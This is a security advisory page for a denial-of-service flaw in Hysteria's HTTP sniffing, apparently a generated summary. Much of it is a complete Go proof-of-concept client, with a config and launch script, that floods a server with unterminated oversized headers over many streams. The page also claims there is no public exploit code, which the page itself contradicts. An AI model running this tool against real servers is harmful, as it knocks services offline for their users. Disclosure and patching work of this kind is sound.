# GHSA-jqc5-2p7q-fqfc: Hysteria: http large header with sniff cause server DoS

> Attackers can cause server-side denial of service and out-of-memory errors by sending excessively large HTTP headers when sniffing is enabled.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 26 Jun 2026
- **Also known as:** GO-2026-5813

## What is GHSA-jqc5-2p7q-fqfc?

GHSA-jqc5-2p7q-fqfc is a denial of service vulnerability in github.com/apernet/hysteria, published on 26 Jun 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

### Summary

Sending an excessively large header by an attacker could lead to a server-side DoS attack.

### Details
The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors.

### PoC

server.yaml
```
listen: 127.0.0.1:8443

tls:
  cert: poc_server.crt
  key: poc_server.key

auth:
  type: password
  password: sniff-poc-password

sniff:
  enable: true
  timeout: 10s
  rewriteDomain: false
  tcpPorts: 80

masquerade:
  type: string
  string:
    content: nope
    statusCode: 404
```

poc.sh
```
#!/bin/bash
go build poc_sniff_http_dos.go
./poc_sniff_http_dos \
    --server 127.0.0.1:8443 \
    --auth sniff-poc-password \
    --insecure \
    --target-host 192.0.2.1 \
    --target-port 80 \
    --connections 16 \
    --header-bytes 838860800 \
    --linger 12
```

poc.go
```
//go:build poc

package main

import (
	"crypto/sha256"
	"crypto/x509"
	"encoding/hex"
	"errors"
	"flag"
	"fmt"
	"net"
	"strings"
	"sync"
	"time"

	coreclient "github.com/apernet/hysteria/core/v2/client"
	"github.com/apernet/hysteria/extras/v2/obfs"
)

type attackConnFactory struct {
	obfuscator obfs.Obfuscator
}

func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {
	conn, err := net.ListenUDP("udp", nil)
	if err != nil {
		return nil, err
	}
	if f.obfuscator == nil {
		return conn, nil
	}
	return obfs.WrapPacketConn(conn, f.obfuscator), nil
}

func buildHeaderPayload(totalBytes, chunkSize int) []byte {
	prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n")
	if totalBytes <= len(prefix) {
		return prefix[:totalBytes]
	}
	out := make([]byte, 0, totalBytes)
	out = append(out, prefix...)
	linePayload := chunkSize - 32
	if linePayload < 64 {
		linePayload = 64
	}
	for i := 0; len(out) < totalBytes; i++ {
		line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload))
		remain := totalBytes - len(out)
		if len(line) > remain {
			line = line[:remain]
		}
		out = append(out, line...)
	}
	// 故意不追加最后一个空行 \r\n，迫使服务端在 sniff timeout 内持续读 header。
	return out
}

func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {
	serverAddr, err := net.ResolveUDPAddr("udp", server)
	if err != nil {
		return nil, err
	}
	cfg := &coreclient.Config{
		ConnFactory: &attackConnFactory{},
		ServerAddr:  serverAddr,
		Auth:        auth,
		TLSConfig: coreclient.TLSConfig{
			InsecureSkipVerify: insecure,
		},
	}
	host, _, err := net.SplitHostPort(server)
	if err == nil && sni == "" && net.ParseIP(host) == nil {
		cfg.TLSConfig.ServerName = host
	}
	if sni != "" {
		cfg.TLSConfig.ServerName = sni
	}
	if pinSHA256 != "" {
		nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", ""))
		cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
			if len(rawCerts) == 0 {
				return errors.New("no peer certificate")
			}
			h := sha256.Sum256(rawCerts[0])
			if hex.EncodeToString(h[:]) == nHash {
				return nil
			}
			return errors.New("no certificate matches the pinned hash")
		}
	}
	if salamanderPSK != "" {
		ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))
		if err != nil {
			return nil, err
		}
		cfg.ConnFactory = &attackConnFactory{obfuscator: ob}
	}
	c, _, err := coreclient.NewClient(cfg)
	return c, err
}

func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {
	conn, err := c.TCP(target)
	if err != nil {
		results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err)
		return
	}
	defer conn.Close()
	_ = conn.SetWriteDeadline(time.Now().Add(linger))
	sent := 0
	for sent < len(payload) {
		end := sent + sendChunk
		if end > len(payload) {
			end = len(payload)
		}
		n, err := conn.Write(payload[sent:end])
		if err != nil {
			results[id] = fmt.Sprintf("worker=%d partial_sent=%d error=%v", id, sent, err)
			return
		}
		sent += n
	}
	time.Sleep(linger)
	results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent)
}

func main() {
	server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443")
	auth := flag.String("auth", "", "Hysteria auth string/password")
	sni := flag.String("sni", "", "optional TLS SNI")
	insecure := flag.Bool("insecure", false, "skip TLS verification")
	pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256")
	salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password")
	targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false")
	targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts")
	connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams")
	headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream")
	buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines")
	sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call")
	lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing")
	flag.Parse()

	if *server == "" || *auth == "" {
		panic("--server and --auth are required")
	}
	if !*insecure && *pinSHA256 == "" {
		panic("provide one of: --insecure / --pin-sha256")
	}

	payload := buildHeaderPayload(*headerBytes, *buildChunk)
	target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort))
	linger := time.Duration(*lingerSec * float64(time.Second))

	fmt.Printf("[*] server=%s target=%s streams=%d payload=%d\n", *server, target, *connections, len(payload))

	c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)
	if err != nil {
		panic(err)
	}
	defer c.Close()

	results := make([]string, *connections)
	var wg sync.WaitGroup
	start := time.Now()
	for i := 0; i < *connections; i++ {
		wg.Add(1)
		go func(i int) {
			defer wg.Done()
			worker(i, c, target, payload, *sendChunk, linger, results)
		}(i)
	}

	wg.Wait()
	fmt.Printf("[*] elapsed=%s\n", time.Since(start).Round(time.Millisecond))
	for _, line := range results {
		fmt.Printf("    %s\n", line)
	}
	fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability")
}

```
### Impact

Testing showed that the server side used a maximum of 16GB.

Server memory DoS and may cause OOM.

## Which versions are affected by GHSA-jqc5-2p7q-fqfc?

3 open source packages ship an affected version, including github.com/apernet/hysteria.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/apernet/hysteria` | Go | All versions | None |
| `github.com/apernet/hysteria` | Go | All versions | 2.9.2 |
| `github.com/apernet/hysteria` | Go | All versions | 2.9.2 |

## How do I fix GHSA-jqc5-2p7q-fqfc?

Upgrade github.com/apernet/hysteria to 2.9.2 or later.

## Is GHSA-jqc5-2p7q-fqfc being exploited?

There is no known exploitation of GHSA-jqc5-2p7q-fqfc in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-jqc5-2p7q-fqfc and fix it if it is affected.

What it is: GHSA-jqc5-2p7q-fqfc is a denial of service vulnerability in github.com/apernet/hysteria, published on 26 Jun 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-jqc5-2p7q-fqfc in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/apernet/hysteria (Go): affected all versions; no fix listed
- github.com/apernet/hysteria (Go): affected all versions; fixed in 2.9.2
- github.com/apernet/hysteria (Go): affected all versions; fixed in 2.9.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-jqc5-2p7q-fqfc/ (Markdown: https://insights.sbomify.com/GHSA-jqc5-2p7q-fqfc/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-jqc5-2p7q-fqfc

---
From sbomify Insights: https://insights.sbomify.com/GHSA-jqc5-2p7q-fqfc/
Summaries are generated and may contain mistakes; the official description above is the record.